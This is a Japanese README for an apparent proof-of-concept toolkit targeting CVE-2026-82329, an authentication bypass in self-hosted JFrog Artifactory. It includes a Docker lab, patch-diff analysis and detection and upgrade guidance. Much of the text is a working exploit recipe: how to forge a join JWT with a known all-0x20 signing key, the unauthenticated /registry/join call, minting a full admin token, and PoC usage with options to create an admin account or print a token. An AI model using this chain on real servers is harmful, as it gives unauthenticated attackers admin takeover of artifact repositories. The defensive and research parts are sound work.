再現可能なDockerラボとPython PoCを備えたCVE-2026-82329(JFrog Artifactoryにおける認証バイパスにより管理者乗っ取りに至る脆弱性)のためのツールで、パッチ差分分析と検出ガイダンスを含みます。
CVSS 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) · CWE-287 · 2026-08-28 公開 · 実環境で悪用済み。
未認証のネットワーク隣接攻撃者が、デフォルト設定のセルフホスト型 JFrog Artifactory に対してプラットフォーム管理者アクセストークンを発行できます。このディレクトリには、再現可能な Docker ラボと、URL パラメータ化された検証用 PoC が含まれています。
artifactory-oss 7.161.19(脆弱、JFrog Access 7.191.11)と 7.161.20(パッチ適用済み、JFrog Access 7.191.14)で再現・A/B 検証済みです。
根本原因はベンダーのパッチ自体から導出され(2 つのコンテナイメージ間のクローズドソース JFrog Access サービスのバイトコード差分)、その後ライブで証明されました — 第三者による解説記事からの引用ではありません。
getSigningKey("") = pkcs7(<empty>, 32) = 32 バイトの 0x20 — 完全に既知のシークレットです。したがって、誰でも有効な join JWT(alg=HS256、、新しい 、任意の 、)に署名できます。kid = SHA256("")iatservice_idskip_node_registration=truePOST /access/api/v1/registry/join(RegistryNoAuthResource — 認証なし)→ HTTP 201、スコープ admin(オーディエンス = Access)の SERVICE トークンを返します。POST /access/api/v1/tokens にそのトークン、scope=applied-permissions/admin&audience=* を指定 → 完全な管理者プラットフォームアクセストークン(これが実環境で報告されている「管理者トークン発行」動作です)。$ python3 poc/cve_2026_82329_poc.py http://TARGET:8082
[+] Step 1 /registry/join -> HTTP 201 SERVICE token minted (scp=admin)
[+] Step 2 /access/api/v1/tokens -> HTTP 200 ADMIN token (scp=applied-permissions/admin, aud=*)
[+] Step 3 proof of admin capability:
GET /artifactory/api/system/configuration -> HTTP 200 (18284 bytes, admin-only; unauth=401)
GET /access/api/v1/tokens (list ALL tokens) -> HTTP 200 (admin-only)
[=] VULNERABLE - unauthenticated attacker obtained ADMIN on this instance (CVE-2026-82329).
JFrog Access 7.191.11 → 7.191.14 で変更されたのは正確に 12 クラスです。セキュリティ関連のものは以下のとおりです:
JoinKeyAccess.tryResolveJoinKeys()// VULNERABLE (7.191.11)
Arrays.stream(joinKey.get().split(",")).map(String::trim).forEach(jKey -> {
JoinKeyHashPair hashPair = new JoinKeyHashPair(jKey); // jKey == "" allowed
joinKeyListValuesForContext.put(hashPair.getHash(), hashPair); // blank key added to trusted set
log.warn("Adding join key with kid: {} to additional join keys", hashPair.getHash());
});
// PATCHED (7.191.14) -> blank entries filtered out
Arrays.stream(joinKey.get().split(",")).map(String::trim)
.filter(Strings::isNotBlank)
.forEach(...);
追加の join key が設定されていない場合(デフォルト)、設定値は "" です。"".split(",") は [""] を生成するため、空白の JoinKeyHashPair(kid = SHA256("") = e3b0c442…b855)が信頼された「追加 join key」マップに入ります。JoinKeyHashPair もコンストラクタで null/blank を拒否するように強化されました。
ライブのデフォルトインスタンスで確認済み — サーバー起動ログ:
o.j.a.s.s.JoinKeyAccess - Adding join key with kid:
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 to additional join keys
その kid はまさに SHA256("") です。
JoinKeyUtils.getSigningKey()public static byte[] getSigningKey(String hexEncodedKey) { return hexDecodeAndPad(hexEncodedKey, 32); }
// pkcs7 padding of an EMPTY key: padLength = 32 -> 32 bytes, each == (byte)32 == 0x20
したがって、空白キーの join JWT は 32 バイトの 0x20 に対する HS256 で署名されます — 攻撃者に既知です。
RegistryNoAuthResource(@Path("/v1/registry")、@Authorized なし):
@POST @Path("join")
public Response join(String jwtStr) { // body = the raw JWT
JwtToken token = this.joinService.join(jwtStr, ...); // validates: fresh iat (<30s) + join-key signature
return Response.status(CREATED).entity(new JoinResponseModel(token.getTokenValue())).build();
}
JoinServiceImpl → ServiceTokenProviderImpl.getToken():
TokenSpec tokenSpec = TokenSpec.create().audience(accessServiceId)
.subject(serviceId).owner(serviceId).scope("admin").expiresIn(0L).refreshable(false);
return tokenService.createInternalTokenWithoutAuthAndNotify(tokenSpec).getAccessToken();
期限切れなし、admin スコープ、RSA 署名のアクセストークンです。この scope("admin") サービス トークンは、POST /access/api/v1/tokens を介して完全な applied-permissions/admin ユーザートークンを発行することが許可されます。
ProjectResource2 つのエンドポイントが @Authorized(AuthorizationType.SERVICE) → @Authorized(AuthorizationType.ADMIN) に変更されました(GET/DELETE {projectKey}/resources)。これは、エクスプロイトのプリミティブが偽造された SERVICE アイデンティティであり、SERVICE 認可のサーフェスが過剰に露出していたことを裏付けています。
セルフホストのみ(クラウドはすでにパッチ適用済み)。以下の各ブランチの最終リリース以下が脆弱です。対応する修正版にアップグレードしてください:
| ブランチ | 脆弱なバージョン ≤ | 修正版 |
|---|---|---|
| 7.111 | 7.111.20 | 7.111.21 |
| 7.117 | 7.117.27 | 7.117.28 |
| 7.125 | 7.125.19 | 7.125.20 |
| 7.133 | 7.133.28 | 7.133.29 |
| 7.146 | 7.146.37 | 7.146.38 |
| 7.161 | 7.161.19 | 7.161.20 |
修正版には JFrog Access 7.191.14 が含まれています。
lab/README.md を参照してください。簡単に言うと:
cd lab
ART_VER=7.161.19 docker compose up -d # vulnerable (default); wait ~3-4 min
until curl -sf http://localhost:8082/access/api/v1/system/ping >/dev/null; do sleep 5; done
python3 ../poc/cve_2026_82329_poc.py http://localhost:8082 # -> VULNERABLE
docker compose down
ART_VER=7.161.20 docker compose up -d # patched control
python3 ../poc/cve_2026_82329_poc.py http://localhost:8082 # -> NOT VULNERABLE (join HTTP 400)
Artifactory 7.161.x は PostgreSQL が必要です(その Access サービスはバンドルされた Derby を拒否するため)、ラボには postgres サイドカーが含まれています。
python3 poc/cve_2026_82329_poc.py http://<artifactory-host>:8082
python3 poc/cve_2026_82329_poc.py http://<host>:8082 --create-admin evil:P@ssw0rd1 # Pro/Ent state change
python3 poc/cve_2026_82329_poc.py http://<host>:8082 --token-only # print an admin token
JFrog Router をフロントエンドとする任意のもの(/access/… に到達可能)を指定してください。VULNERABLE(管理者取得)または NOT VULNERABLE(join 拒否)を報告します。テストを許可されたシステムに対してのみ実行してください。
POST /access/api/v1/registry/join、特に直後に POST /access/api/v1/tokens が続く場合。Adding join key with kid: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 …
は、空白の join key が信頼されていることを意味します(パッチ未適用のデフォルトに存在)。scope=applied-permissions/admin、audience=* を持つ予期しない期限切れなしトークン、またはサービスサブジェクトの管理者トークン(sub=<svc>、scp=admin、aud=<access-id>)。kid クレームが SHA256("")(e3b0c442…b855)と等しい join JWT。ブランチの修正版にアップグレードしてください(上の表)。さらに: Artifactory を、/access/api/v1/registry/** を信頼できないネットワークに公開しないリバースプロキシの背後に配置し、パッチ適用後に join key をローテーションし、予期しない管理者トークンを失効させてください。
このディレクトリ内の成果物: poc/(検証ツール)、lab/(Docker ラボ)、analysis/(パッチ差分 + 逆コンパイルされた証拠)、EVIDENCE.md(キャプチャされた実行出力)。許可されたセキュリティ研究専用です。